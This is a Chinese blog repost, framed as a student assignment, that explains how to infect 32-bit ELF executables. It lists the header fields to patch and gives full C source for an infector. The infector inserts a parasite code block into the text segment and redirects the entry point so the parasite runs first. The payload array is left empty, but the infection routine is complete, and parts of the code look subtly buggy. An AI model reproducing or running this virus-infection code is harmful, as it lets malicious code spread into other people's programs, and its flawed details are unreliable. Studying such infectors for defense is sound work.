一个二进制代码注入器(用于感染ELF文件)(转)

主要是修改ELF头结构以及段头结构,节头结构中的一些项,以达到插入病毒代码的目的。利用一段示例的二进制代码作为病毒进行演示。本次达到的目的是编程实现ELF文件感染器,并没有写出真正的病毒代码,只是实现第一部感染过程。使测试代码先于被感染的程序执行。

 
我们需要对ELF文件做的修改:
1 修正"ELF header"中的 e_shoff ,增加 PAGESIZE 大小
2 修正寄生代码的尾部,使之能够跳转回宿主代码原入口点 定位"text segment program header"
3 修正 "ELF header"中的 e_entry ,指向 p_vaddr + p_filesz
4 修正 p_filesz
5 修正 p_memsz
6 对于文本段phdr之后的其他phdr 修正 p_offset ,增加 PAGESIZE 大小
7 对于文本段的最后一个shdr 修正sh_size,增加寄生代码大小
8 对于那些因插入寄生代码影响偏移的每节的shdr 修正 sh_offset ,增加 PAGESIZE 大小
9 在文件中物理地插入寄生代码以及填充(确保构成一个完整页)到这个位置 text segment p_offset + p_filesz (original)。
 
代码:
 

/*
ELF infector source file
Student:

Student ID:
Class:

*/

# include < stdio. h>
# include < stdlib. h>
# include < elf. h>
# include < sys/ types. h>
# include < sys/ stat. h>
# include < fcntl. h>
# include < string . h>

//Define PAGESIZE,default 4K byte

# define PAGESIZE 4096

//Parasite Virus Code.The code is copied from Internet.

char Virus[ ] ={/*Binary code for test*/} ;


int infect( char * ElfFile) ;
//The size of Virus Code
int VirusSize= sizeof ( Virus) ;

int jmppoint=/*Jump point of binary code of Virus*/;


//Infector Function

int infect( char * ElfFile)
{
    int result= 0;
    int Re;
    int FileD;
    int TmpD;
    int OldEntry;
    int OldShoff;
        int OldPhsize;
        int i= 0;

    Elf32_Ehdr elfh;
    Elf32_Phdr Phdr;
    Elf32_Shdr Shdr;
    
    //Open ELF file and read the elf header part to &elfh

    FileD= open ( ElfFile, O_RDWR) ;
    read ( FileD, & elfh, sizeof ( elfh) ) ;
    if ( ( strncmp ( elfh. e_ident, ELFMAG, SELFMAG) ) ! = 0)
        exit ( 0) ;

        //Old entry of original elf file

    OldEntry= elfh. e_entry;
        //Old section header offset of elf file

    OldShoff= elfh. e_shoff;
    
    //modify the Virus code line"movl "Oldentry",%eax" to jump to old entry

    //after the Virus code excuted

        * ( int * ) & Virus[ jmppoint ] = OldEntry;
    
    //Increase e_shoff by PAGESIZE in the ELF header

    elfh. e_shoff + = PAGESIZE;
        
    //if Virus Size is too large

    if ( VirusSize > ( PAGESIZE- ( elfh. e_entry% PAGESIZE) ) )
                exit ( 0) ;
    
    int Noff= 0;
    //The loop of read and modify program header

    for ( i= 0; i< elfh. e_phnum; i+ + )
    {
        
                //seek and read to &Phdr

     lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
                read ( FileD, & Phdr, sizeof ( Phdr) ) ;
        if ( Noff)
        {
            //For each phdr who's segment is after the insertion (text segment)

            //increase p_offset by PAGESIZE                

            Phdr. p_offset + = PAGESIZE;

            //write back

            lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
            write ( FileD, & Phdr, sizeof ( Phdr) ) ;
        }

        else if ( PT_LOAD = = Phdr. p_type & & Phdr. p_offset= = 0)
        {
            if ( Phdr. p_filesz ! = Phdr. p_memsz)
                exit ( 0) ;
            // Locate the text segment program header

         //Modify the entry point of the ELF header to point to the new

         //code (p_vaddr + p_filesz)

            elfh. e_entry = Phdr. p_vaddr + Phdr. p_filesz+ 4;
            lseek( FileD, 0, SEEK_SET ) ;
            
            //Write back the new elf header

            write ( FileD, & elfh, sizeof ( elfh) ) ;
            OldPhsize= Phdr. p_filesz;
            Noff= Phdr. p_offset+ Phdr. p_filesz;
            
            //Increase p_filesz by account for the new code (parasite)

            Phdr. p_filesz + = VirusSize;
            
            //Increase p_memsz to account for the new code (parasite)    

            Phdr. p_memsz + = VirusSize;
            
            //write back the program header

            lseek( FileD, elfh. e_phoff+ i* elfh. e_phentsize, SEEK_SET ) ;
            write ( FileD, & Phdr, sizeof ( Phdr) ) ;
        }
    }
    lseek( FileD, OldShoff, SEEK_SET ) ;

    //The loop of read and modify the section header

    for ( i= 0; i< elfh. e_shnum; i+ + )
    {

        lseek( FileD, i* sizeof ( Shdr) + OldShoff, SEEK_SET ) ;
        Re= read ( FileD, & Shdr, sizeof ( Shdr) ) ;
                
                if ( i= = 1)
        {
            //For the last shdr in the text segment

            //increase sh_size by the virus size    

            Shdr. sh_size + = VirusSize;
        }
                else if ( i!=0)
        {
            //For each shdr whoes section resides after the insertion

            //increase sh_offset by PAGESIZE                

            Shdr. sh_offset + = PAGESIZE;
        }
                        
        //Write Back

        lseek( FileD, OldShoff+ i* sizeof ( Shdr) , SEEK_SET ) ;
        write ( FileD, & Shdr, sizeof ( Shdr) ) ;

    }
        
    //To get the file size FileStat.st_size

    struct stat FileStat;
    fstat( FileD, & FileStat) ;

    char * Data= NULL ;
    Data= ( char * ) malloc ( FileStat. st_size- OldPhsize) ;

    lseek( FileD, OldPhsize, SEEK_SET ) ;
    read ( FileD, Data, FileStat. st_size- OldPhsize) ;

    //Insert the Virus Code to the elf file

    lseek( FileD, OldPhsize, SEEK_SET ) ;
    write ( FileD, Virus, sizeof ( Virus) ) ;
        char tmp[ PAGESIZE] = { 0} ;
    
    //Pad to PAGESIZE

        memset ( tmp, PAGESIZE- VirusSize, 0) ;
        write ( FileD, tmp, PAGESIZE- VirusSize) ;

    write ( FileD, Data, FileStat. st_size- OldPhsize) ;
    result= 1;

    free ( Data) ;

    return result;             
        
}

//Just for test

int main( int argc, char * * argv)
{
      //How to use it

      if ( argc!=2)
      {
        printf ( "Usage : infect <ELF filename>\n" ) ;
                exit ( 0) ;
      }
    
      int test = infect( argv[ 1] ) ;
      if ( test ! = 1)
      {
     exit ( 0) ;
      }
    return 0;
} 
 
  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值